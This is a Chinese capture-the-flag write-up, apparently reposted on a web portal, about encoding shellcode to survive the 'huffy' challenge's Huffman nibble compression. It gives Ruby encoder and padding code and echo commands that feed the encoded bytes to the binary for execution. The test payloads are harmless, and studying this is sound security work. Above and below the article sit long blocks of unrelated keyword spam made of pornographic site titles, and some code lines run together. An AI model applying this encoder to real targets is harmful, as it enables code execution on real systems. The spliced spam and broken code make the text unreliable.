精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Huffy:哈夫曼編碼的shellcode

安全 網站安全
初次見到“shellcode”的時候,感覺非常高大上,其實接觸久了之后你會發現它實際上只是一段代碼(也可以是填充數據),是一種用來發送到服務器利用特定漏洞的針對性代碼,一般可以利用它獲取一定的權限。

初次見到“shellcode”的時候,感覺非常高大上,其實接觸久了之后你會發現它實際上只是一段代碼(也可以是填充數據),是一種用來發送到服務器利用特定漏洞的針對性代碼,一般可以利用它獲取一定的權限。今天我們將共同學習一種新的shellcode編碼方式——Huffy,即基于哈夫曼編碼的shellcode,這種方式利用哈夫曼樹壓縮數據的特性來對shellcode進行數據壓縮,以達到“短小精悍”的目的。

Huffy:哈夫曼編碼的shellcode

哈夫曼樹

因為這種方法叫做Huffy,并且最近我剛剛解決了一個有關哈夫曼樹的問題,所以首先我想到的就是哈夫曼樹。

如果你還不知道什么是哈夫曼樹,那我就在這里簡單提一下。哈夫曼樹是一種相當簡單的數據結構,它可以用來進行數據壓縮。哈夫曼樹的建立是通過讀取輸入的內容,然后創建一棵樹,出現頻率***的字符靠近樹的頂部,而頻率***的字符靠近樹的底部。

為了壓縮數據,它會遍歷整個樹以生成編碼位(左邊的編碼為0,右邊的編碼為1)。一個字符越靠近樹的頂部,那么該字符編碼之后所用的位數越少,這也被稱為“前綴碼”,這是一種非常簡潔的屬性,該屬性意味著沒有編碼的位串會作為另一個位串的前綴(換句話說,當你閱讀二進制位流的時候,你就能立刻知道解碼該字符何時結束)。

例如下面的哈夫曼樹:

Huffy:哈夫曼編碼的shellcode

通過該哈夫曼樹,我們就能知道它來自一個包含9個字符的文本,其中有5個字符是字母“o”,3個字符是字母“d”,1個字符是字母“g”。

所以,當你用該樹壓縮數據時,你可以將單詞“dog”作如下處理:

d=00(左左)
o=1(右)
g=01(左右)

所以,“dog”將會編碼成位流“00101”。

如果你看到以位流“01100”表示的字符串,你就可以按照上面哈夫曼樹來解碼:左右(g)、右(o)、左左(d),所以解碼得到該字符串內容為“god”。

如果在一個字符串中所有字符的數目都相同,并且不同字符的種類數是2的整數冪(例如:“aabbccdd”中,不同字符的種類數為4,即2的平方),你就需要通過一個平衡的哈夫曼樹來表示。例如,字符串“aaabbbcccddd”的表示將會是如下形式的哈夫曼樹:

Huffy:哈夫曼編碼的shellcode

通過查找上圖中的哈夫曼樹可知,字符串“abcd”將會編碼成“00011011”。哈夫曼樹的這種特性非常重要。#p#

程序分析

當你運行程序時,它將提示你輸入,在你輸入相應內容之后,它將輸出一堆毫無意義的東西(盡管輸出使我們理解變得簡單多了)??梢钥聪逻@個例子:

$ echo 'this is a test string' | ./huffy
CWD: /home/ron/gits2015/huffy
Nibble  Frequency
------  ---------
0       0.113636
1       0.022727
2       0.113636
3       0.090909
4       0.090909
5       0.022727
6       0.181818
7       0.227273
8       0.022727
9       0.068182
a       0.022727
b       0.000000
c       0.000000
d       0.000000
e       0.022727
f       0.000000
Read 22 bytes
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.045455
Two lowest frequencies: 0.045455 and 0.068182
Two lowest frequencies: 0.068182 and 0.090909
Two lowest frequencies: 0.090909 and 0.113636
Two lowest frequencies: 0.113636 and 0.113636
Two lowest frequencies: 0.159091 and 0.181818
Two lowest frequencies: 0.204545 and 0.227273
Two lowest frequencies: 0.227273 and 0.227273
Two lowest frequencies: 0.340909 and 0.431818
Two lowest frequencies: 0.454545 and 0.454545
Two lowest frequencies: 0.772727 and 0.909091
Breaking!
0 --0--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
1 --0--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
2 --1--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
3 --1--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
4 --0--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
5 --0--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
6 --1--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
7 --1--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
8 --0--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
9 --1--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
a --1--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
b --0--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
c --1--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
d --1--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
e --1--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
f --1--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
Binary Encoded:
h@V????Q?O?-????
Executing encoded input...
Segmentation fault

可能理解起來需要花一點時間,但是一旦你明白了,你會發現輸出的內容很直截了當。

***部分分析了每個半字節(半字節代表一個十六進制字符或字節的一半)出現的頻率。這部分結果告訴我們程序通過半字節的形式對數據進行了壓縮,然后給出了輸入內容中字符出現頻率的分析,***顯示了16個可能半字節的編碼結果。

編碼之后,會將這些位轉換成一個很長的二進制碼流,然后運行它們。

流程總結:首先輸入一些數據,然后以半字節為單位用哈夫曼編碼進行壓縮,***將其轉換成可執行的代碼,此時我們就得到了利用哈夫曼算法壓縮過的shellcode。

為了簡單起見,我還是用一些shell代碼來清理輸出的內容,以方便我更好地分析到底發生了什么:

$ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'

得到如下結果:

[...]
0 0111
1 010000
2 1111
3 1000
4 0010
5 001010
6 100
7 110
8 00000
9 11010
a 101010
b 0000110000
c 10110000
d 100110000
e 1110000
f 1000110000
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101

如果你嘗試輸入“AAAA”,你將得到如下結果:

$ echo 'AAAA' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'[...]
0 0101
1 0
2 0000000000001101
3 101101
4 11
5 1001101
6 10001101
7 100001101
8 1000001101
9 10000001101
a 11101
b 100000001101
c 1000000001101
d 10000000001101
e 100000000001101
f 1000000000001101
Encoding input...
ASCII Encoded: 110110110110101010111
Binary Encoded:

如果你嘗試輸入“AAAA”,你將得到如下結果:

你可能知道“AAAA”=“41414141”(ASCII碼表示),所以'4'和'1'就成了最常用的半字節,而由上面圖中也能證實,即'4'被編碼成'11','1'被編碼成'0'。我們希望以一個換行符'\x0a'結束,所以'0'和'a'也應該進行編碼。

如果我們將這些字符分開,可以得到如下內容:

ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111

需要注意的是,圖中編碼后的結果都被逆序了,雖然'11'和'0'其實并不受逆序的影響,但是'1010'='0101'='0','10111'='11101'='a'。說實話,剛開始我并沒有注意到逆序問題的存在,但我以一個新的方式解決了這個問題。

還記得前面說的嗎?如果有一個含有2的冪次方個節點的平衡樹,所有的字符都將被編碼成相同的位數。事實證明,結果有16個不同的半字節,所以如果你輸入的字符串中有偶數個半字節,那么它們都將被編碼成4位:

$ echo -ne '\x01\x23\x45\x67\x89\xab\xcd\xef' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000

它們不僅會被編碼成4位,而且每一種可能的4位值都被列出來了。#p#

方法使用

其實,這種方法使用起來非常簡單,需要做的僅僅是簡單的查表:

1、首先算出半字節對應的編碼后的二進制位;

2、將這些半字節作為shellcode寫出來;

3、填充shellcode,直到每個半字節都有相同的數量。

這已經相當的直觀了,你可以參考我的全部利用代碼,或者利用下面的片段根據實際情況進行拼接。

首先,創建一個表(下面是我手工創建的):

@@table = {  "0000" => 0x0, "0001" => 0x1, "0011" => 0x2, "0010" => 0x3,  "0110" => 0x4, "0111" => 0x5, "0101" => 0x6, "0100" => 0x7,  "1100" => 0x8, "1101" => 0x9, "1111" => 0xa, "1110" => 0xb,  "1010" => 0xc, "1011" => 0xd, "1001" => 0xe, "1000" => 0xf,
}

 

然后,將shellcode進行編碼:

def encode_nibble(b)
  binary = b.to_s(2).rjust(4, '0')
  puts("Looking up %s... => %x" % [binary, @@table[binary]])  return @@table[binary]end@@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]#shellcode = "\xeb\xfe"#shellcode = "\xcd\x03"shellcode = "hello world, this is my shellcode!"shellcode.each_byte do |b|
  n1 = b >> 4
  n2 = b & 0x0f
  puts("n1 = %x" % n1)
  puts("n2 = %x" % n2)  @@hist[n1] += 1
  @@hist[n2] += 1
  out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chrend

需要注意一下,我保存了一個直方圖,利用它可以使***一步的實現更加簡單,然后根據需要填充字符串:

def get_padding()
  result = ""
  max = @@hist.max
  needed_nibbles = []  0.upto(@@hist.length - 1) do |i|
    needed_nibbles << [i] * (max - @@hist[i])
    needed_nibbles.flatten!  end
  if((needed_nibbles.length % 2) != 0)
    puts("We need an odd number of nibbles! Add some NOPs or something :(")    exit
  end
  0.step(needed_nibbles.length - 1, 2) do |i|
    n1 = needed_nibbles[i]
    n2 = needed_nibbles[i+1]
    result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr  end
  return resultend

現在輸出中應該包含一串對應shellcode的半字節,應該是這樣的。

***,我們將其輸出:

def output(str)
  print "echo -ne '"
  str.bytes.each do |b|
    print("\\x%02x" % b)  end
  puts("' > in; ./huffy < in")end

#p#

修復bug

你注意到剛剛我哪里做錯了嗎?其實,剛剛我犯了個大錯誤,當我試圖編碼“hello world, this is my shellcode!”時,我得到如下結果:

echo -ne '\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

上面結果轉換為可視字符后為:

ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????

發生了什么事?這不是我之前輸入的字符串啊。

但是,觀察到字符串以“ajcco”開頭,而我之前輸入的字符串是以“hello”開頭。然后,半字節和字符的對應表就得到啦,如下所示:

0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000

為了解決這個問題,我試了下面的shellcode:

"\x01\x23\x45\x67\x89\xab\xcd\xef"

然后將其編碼,得到如下結果:

0000100001001100001010100110111000011001010111010011101101111111

以十六進制表示為:

"\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"

或者,以半字節形式表示為:

0000
1000
0100
1100
0010
1010
0110
1110
0001
1001
0101
1101
0011
1011
0111
1111

如果多花點精力觀察的話,我應該早就發現這個很明顯的問題啦:逆序問題。

因為之前我急于完成它,我沒有注意到每個半字節的各個位都被逆序了(1000而不是0001,0100而不是0010等等)。

雖然之前我沒有注意這個問題,但是我發現所有的結果都是完全錯誤的,所以我做了以下內容:

hack_table = {
  0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
  0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
  0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
  0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
}
hack_out = ""
out.bytes.each do |b|
  n1 = hack_table[b >> 4]
  n2 = hack_table[b & 0x0f]
  hack_out += ((n1 << 4) | (n2 & 0x000f)).chrendoutput(hack_out)

然后用原來的測試shellcode重新運行了該程序:

$ ruby ./sploit.rb
echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

運行上面我所得到的編碼之后的代碼,結果為:

$ echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

二進制編碼結果為:

hello world, this is my shellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
Executing encoded input...
Segmentation fault

現在看起來正常了,通過修改那個錯誤已經可以正確地解碼了。下面再試一下我比較喜歡的兩個測試字符串“\xcd\x03”(調試斷點,也可使用“\ xcc”)和“\ xeb \ xfe”(無限循環):

$ ruby ./sploit.rb
echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
$ echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
Binary Encoded:
?Eg???
Executing encoded input...
Trace/breakpoint trap
$ ruby ./sploit.rb
echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
$ echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
Binary Encoded:
??"3DUfw??????
Executing encoded input...
[...infinite loop...]

總結

總的來說,利用哈夫曼編碼處理shellcode是一種相當直觀的方法,通過以半字節為單位壓縮你輸入的數據,然后就能得到編碼之后的shellcode,經過驗證,經過這種方法壓縮之后的shellcode能夠正常運行。

***,在使用該方法的時候,可以將目標shellcode填充得到1024個半字節,接著進行哈夫曼編碼并進行利用。

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2021-06-16 17:36:39

節點編碼哈夫曼樹

2011-05-20 14:03:31

哈夫曼

2011-04-28 10:07:24

哈弗曼編碼

2023-06-27 10:41:01

數學論文

2021-03-24 10:41:04

Java數據結構算法

2011-12-15 10:38:06

OPEN聯盟以太網

2016-01-08 19:10:00

京東智能

2012-11-27 17:41:16

2016-01-14 11:50:16

Shellcode分析PyAnaShellcode分析

2022-05-09 11:46:49

亞馬遜云科技汽車哈曼

2015-06-30 13:06:00

ShellterShellcode注入

2015-11-24 15:22:53

HTTP2 WEB 內網穿透

2020-09-28 10:47:41

Shellcode技術

2011-07-13 16:56:10

2017-01-16 09:26:07

2021-11-29 05:32:47

內存規避安全工具惡意軟件

2020-10-16 10:30:28

黑客

2022-05-06 18:55:29

Java技巧Shellcode

2013-12-10 10:53:47

shellcode

2015-10-23 17:12:22

JBL
點贊
收藏

51CTO技術棧公眾號

国语一区二区三区| 在线观看wwwxxxx| 日韩av一区二区在线影视| 国产亚洲视频在线观看| 手机av在线免费| 欧美6一10sex性hd| 97精品电影院| 国产精品视频免费在线观看| 久久无码精品丰满人妻| 亚洲精品国模| 欧美日韩国产一二三| 日韩小视频网站| www.av在线| 国产成人一级电影| 国产精品国产三级国产专播精品人| 永久免费看mv网站入口| 奇米影视777在线欧美电影观看| 欧美日韩中文另类| 91丨porny丨探花| 日本欧美在线视频免费观看| www.日韩在线| 国产在线不卡精品| 国产又大又粗又爽| 欧美特黄一区| 色综合亚洲精品激情狠狠| 性囗交免费视频观看| 亚洲精品一区av| 色视频成人在线观看免| 国产传媒久久久| 日日夜夜精品一区| 久久亚洲精精品中文字幕早川悠里 | 亚洲一区免费在线观看| 日韩精品大片| 日本免费不卡| 高清不卡在线观看av| 国产精品久久一区| 香蕉视频一区二区| 欧美aⅴ99久久黑人专区| 亚洲人午夜色婷婷| 免费无码一区二区三区| 一区二区三区国产好| 制服.丝袜.亚洲.另类.中文| 一区二区三区入口| 中老年在线免费视频| 亚洲综合色噜噜狠狠| 一本色道久久综合亚洲二区三区| 国产专区在线| 久久久精品影视| 九九九九九九精品| 欧美熟妇交换久久久久久分类 | 又色又爽又黄18网站| 国产95亚洲| 这里只有精品视频在线观看| 一区二区三区视频在线观看免费| 欧美成人免费电影| 日韩欧美在线一区| 漂亮人妻被中出中文字幕| 国产社区精品视频| 午夜精品福利一区二区三区av| 992tv快乐视频| 色呦呦在线看| 亚洲综合网站在线观看| 成人国产一区二区三区| av网址在线免费观看| 亚洲免费电影在线| 永久免费在线看片视频| 2024短剧网剧在线观看| 尤物av一区二区| 精品一区二区三区无码视频| segui88久久综合9999| 午夜精品福利久久久| www.爱色av.com| 欧美日韩免费看片| 欧美喷水一区二区| 日本成人xxx| eeuss国产一区二区三区四区| 精品国产a毛片| 国产麻豆xxxvideo实拍| 欧美日韩一本| 国产亚洲精品久久久优势| 黄色国产在线播放| 亚洲精品在线观看91| 久久久久久久久久久免费精品| 青青草成人av| 青草av.久久免费一区| 91精品国产综合久久久久久蜜臀| 精品人妻一区二区三区换脸明星| www.亚洲色图.com| 日本一区视频在线观看| 顶级网黄在线播放| 黄色精品在线看| 成人免费视频久久| 国产视频一区二区在线播放| 亚洲精品一区二区三区99| 成人午夜剧场视频网站| 天天射成人网| 性欧美长视频免费观看不卡| 亚洲精品国产精品国自产网站按摩| 国内精品自线一区二区三区视频| 国产精品嫩草在线观看| 高清美女视频一区| 亚洲精品视频自拍| 成人一级片网站| www久久久| 亚洲欧美精品在线| 2021亚洲天堂| 久久这里只有| av资源一区二区| 国产爆初菊在线观看免费视频网站| 日韩毛片在线免费观看| 欧美在线观看www| 国产一区二区视频在线看| 日韩电影在线观看中文字幕 | 亚洲国产精品综合小说图片区| 国产精品69页| 91久久精品无嫩草影院| 在线成人中文字幕| 久久久久久久极品| 国产亚洲精久久久久久无码77777| 九一精品国产| 欧美激情久久久久| 中文在线最新版天堂| 成人精品视频一区| 香蕉精品视频在线| 欧美magnet| 亚洲成人精品久久| www.xxxx日本| 麻豆精品一区二区av白丝在线| 免费av在线一区二区| 欧美性爽视频| 777精品伊人久久久久大香线蕉| 熟女丰满老熟女熟妇| 综合激情婷婷| 国产欧美一区二区三区在线| 日本福利片在线| 亚洲一区二区在线视频| 亚洲另类第一页| 国内成人精品| 欧美与欧洲交xxxx免费观看| 二区三区在线视频| 亚洲精品乱码久久久久久| 欧在线一二三四区| 三级精品视频| 88国产精品欧美一区二区三区| 国产丰满果冻videossex| 国产精品久久三区| 中文字幕天天干| 精品国产一区二区三区香蕉沈先生| 97视频在线观看免费| 亚洲乱码在线观看| 亚洲人123区| 日本国产一级片| 久久在线视频| 国产在线高清精品| 很黄的网站在线观看| 欧美电影一区二区| 成年人二级毛片| 狠狠色狠狠色综合系列| 久久久国产精华液999999| 伊人久久综合网另类网站| 日韩中文娱乐网| 一二三区中文字幕| 自拍视频在线观看一区二区| 182午夜视频| 波多野结衣电车| 亚洲精品社区| 久久国产一区二区| 伊人久久综合一区二区| 亚洲精品网址在线观看| 精品国产www| 中文字幕一区三区| 精品人妻一区二区三| 欧美日本免费| 久久国产精品 国产精品| 亚洲美女炮图| 中文字幕亚洲在线| 国产精品人人妻人人爽| 一区二区三区在线免费视频| 色悠悠在线视频| 亚洲永久免费| 亚洲国产一区二区三区在线| 伊人久久精品| 久久久久日韩精品久久久男男| 日韩一级在线播放| 色噜噜狠狠成人中文综合| 刘亦菲国产毛片bd| 国产伦理精品不卡| 亚洲精品偷拍视频| 日韩成人视屏| 日韩av色综合| 久草免费在线观看| 亚洲第一天堂无码专区| 看黄色一级大片| 一区二区在线看| 老牛影视av老牛影视av| 极品少妇xxxx精品少妇偷拍| 欧美图片激情小说| 日本一区二区免费高清| 超碰在线观看97| 成人黄色免费短视频| 九九九久久国产免费| 欧美一区二区三区少妇| 91精品婷婷国产综合久久| 中国一级特黄毛片| 亚洲色大成网站www久久九九| 污污污www精品国产网站| 日韩电影在线看| 免费人成在线观看视频播放| 国内精品久久久久久久影视简单| 亚洲直播在线一区| 亚洲精品在线影院| 欧美精品videossex88| 成人性生交大片免费看午夜| 亚洲精品一区二区三区福利| 伊人久久国产精品| 精品美女国产在线| 青青草偷拍视频| 国产精品嫩草99a| 受虐m奴xxx在线观看| 国产精品香蕉一区二区三区| 亚洲人成无码www久久久| 伊人成人网在线看| 中文字幕一区二区三区四区五区六区 | 欧美18xxxx| 国产在线999| 成人黄色免费短视频| 久久免费在线观看| gogo在线高清视频| 一区二区三区视频免费| 日本大片在线观看| 亚洲成人av资源网| 99视频国产精品免费观看a| 欧美三级中文字| 久久久久久不卡| 精品久久久久久久久久久久| 国产成人无码aa精品一区| 国产欧美精品区一区二区三区| 国产精品久久无码| 丁香啪啪综合成人亚洲小说 | 久久av影院| 日韩av免费看网站| 欧美羞羞视频| 国产成人一区三区| 韩国成人动漫| 日本电影亚洲天堂| 亚洲伊人av| 国产成+人+综合+亚洲欧洲| 午夜影视一区二区三区| 91精品成人久久| a√中文在线观看| 久久久久久久久久久网站| 视频在线观看入口黄最新永久免费国产 | 三上悠亚 电影| 国产乱子伦视频一区二区三区| 奇米影音第四色| 久久99久久精品欧美| 九九精品久久久| 精品综合久久久久久8888| 一区二区三区四区毛片| 麻豆成人91精品二区三区| 国产一区二区在线免费播放| 老司机免费视频一区二区三区| 黄色片视频在线| 捆绑调教美女网站视频一区| 日韩中文字幕a| 韩国女主播成人在线| 午夜诱惑痒痒网| 成人听书哪个软件好| 波多野结衣视频播放| 久久综合九色综合97_久久久| 久久久无码人妻精品一区| 国产亚洲欧美一区在线观看| 欧美福利第一页| 自拍偷拍亚洲欧美日韩| 久草视频中文在线| 激情久久av一区av二区av三区| 精品国产一区二区三区四| 91福利资源站| 国产又粗又猛又爽又黄的| 日韩一二三区不卡| 人妻偷人精品一区二区三区| 亚洲欧美制服中文字幕| 1024视频在线| 久久久久久久国产精品| 午夜裸体女人视频网站在线观看| 国产精品久久久久久久av大片| 亚洲伊人伊成久久人综合网| 国产有色视频色综合| 加勒比久久综合| 91看片淫黄大片91| 亚洲欧美日韩专区| 日本一二三区在线| 99re热视频精品| 亚洲一级理论片| 亚洲综合另类小说| 国产99免费视频| 日韩午夜av电影| 精品亚洲综合| 欧美黑人又粗大| 成人av集中营| 国产精品一区视频| 成人午夜av| 日韩xxxx视频| 精品一区二区在线免费观看| 男人的天堂影院| 亚洲欧美综合色| 免费av网站在线| 欧美一区二视频| 美女欧美视频在线观看免费| 久精品免费视频| 精品视频一区二区三区四区五区| 99久久综合狠狠综合久久止| 欧美久久综合网| 一区二区三区欧美日| 小早川怜子一区二区的演员表| 亚洲国产综合视频在线观看| 伊人网视频在线| 日韩av一区二区在线观看| 成年人黄视频在线观看| 欧亚精品中文字幕| 亚洲高清999| 亚洲一区二区在| 日韩黄色在线观看| 一本加勒比波多野结衣| 亚洲精品中文字幕乱码三区| 在线观看中文字幕av| 亚洲另类欧美自拍| 婷婷精品国产一区二区三区日韩 | 美女福利视频在线观看| 一本大道久久a久久精二百 | 国产成人亚洲综合a∨婷婷| www成人啪啪18软件| 色婷婷综合久久久久中文一区二区| 色一情一乱一乱一区91av| 欧美老女人性生活| **日韩最新| 在线播放豆国产99亚洲| 免费高清不卡av| 日本黄色激情视频| 欧美性videosxxxxx| 国产精品一二三区视频| 欧美一区二区三区艳史| 女同一区二区三区| 日本少妇高潮喷水视频| www.亚洲在线| 国产精品xxxx喷水欧美| 亚洲成色999久久网站| 黄网av在线| 国产精品免费视频一区二区| 狠狠爱综合网| 欲求不满的岳中文字幕| 精品久久久久久久久久久| 天天操天天射天天舔| 97精品免费视频| 色天天色综合| 激情六月丁香婷婷| 国产婷婷精品av在线| www.久久网| 视频直播国产精品| 91精品网站在线观看| 强开小嫩苞一区二区三区网站| 国产精品资源在线看| 青娱乐国产盛宴| 337p日本欧洲亚洲大胆色噜噜| 丁香花视频在线观看| 狠狠色综合网站久久久久久久| 国产精品最新自拍| 国产精品国产三级国产专业不| 欧美性大战xxxxx久久久| 中文字幕日本在线观看| 成人在线精品视频| 午夜日韩视频| 国产毛片毛片毛片毛片毛片毛片| 色综合中文字幕| gogogo高清在线观看免费完整版| 成人国产精品色哟哟| 激情视频一区二区三区| 少妇大叫太粗太大爽一区二区| 欧美亚洲禁片免费| 高清免费电影在线观看| 精品一区二区国产| 日本成人在线一区| 欧美成人手机视频| 亚洲欧美国产精品| 四虎国产精品免费久久| 免费高清一区二区三区| 国产日韩欧美高清在线| 国产精品永久久久久久久久久| 国外成人在线直播| 日韩欧美一区二区三区免费看| 成年人看片网站| 欧美亚男人的天堂| 欧美黄色视屏| 日本在线免费观看一区| 国产成人午夜精品5599| 色一情一乱一伦| 九九热最新视频//这里只有精品| 欧美精品momsxxx| 中文字幕在线视频一区二区| 日本乱码高清不卡字幕|